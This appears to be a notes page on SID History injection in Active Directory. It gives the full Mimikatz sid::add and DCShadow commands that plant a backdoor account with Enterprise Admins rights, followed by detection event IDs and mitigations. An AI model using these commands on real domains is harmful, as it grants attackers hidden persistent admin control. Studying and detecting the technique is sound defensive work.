title: "Attack #63 β SID History Injection" description: "sIDHistory is an AD attribute designed for domain migrations β it preserves a user's old SID so they retain access to resources from a previous domain. Anβ¦" category: active-directory subcategory: "Persistence" tags: ["active-directory", "privilege-escalation"] tools: ["Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/π€ Attack #63 β SID History Injection.md"#
π€ Attack #63 β SID History Injection#
π How It Works#
sIDHistory is an AD attribute designed for domain migrations β it preserves a user's old SID so they retain access to resources from a previous domain. An attacker can inject the SID of a privileged group (e.g., Enterprise Admins, SID S-1-5-21-<domain>-519) into a normal user's sIDHistory, granting them those privileges without actually being a member of the group.
This is typically done via Mimikatz sid::add or DCShadow.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Domain Admin / SYSTEM on DC | Required to modify sIDHistory |
| Or DCShadow capability | Alternative injection method |
π» Full Commands#
# ββ Mimikatz β inject Enterprise Admin SID into user's SID History βββββββββββ
mimikatz.exe
privilege::debug
sid::patch
sid::add /sam:backdoor_user /new:S-1-5-21-<domain_SID>-519
# 519 = Enterprise Admins
# 512 = Domain Admins
# 500 = Administrator RID
# ββ Verify ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Get-ADUser backdoor_user -Properties sIDHistory | Select sIDHistory
# ββ DCShadow method (stealthier) ββββββββββββββββββββββββββββββββββββββββββββββ
# Terminal 1 (SYSTEM): lsadump::dcshadow /object:backdoor_user /attribute:sidHistory /value:S-1-5-21-...-519
# Terminal 2 (DA): lsadump::dcshadow /push
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4765 | Security Log (DC) | SID History was added to an account |
| 4766 | Security Log (DC) | SID History add attempt failed |
| 4738 | Security Log (DC) | User account changed β sIDHistory modified |
Detection tip: Query for users with sIDHistory populated: Get-ADUser -Filter {sIDHistory -like "*"} -Properties sIDHistory
π Attack Chain Context#
[SID History] βββ Invisible Privilege Escalation via SID Injection
β
ββββ π User appears normal but has hidden EA/DA privileges
ββββ π Used for: cross-domain trust abuse (#68), persistence
ββββ π Defeated by: audit sIDHistory, SID filtering on trusts, monitor 4765
β Attack #63 β SID History Injection complete.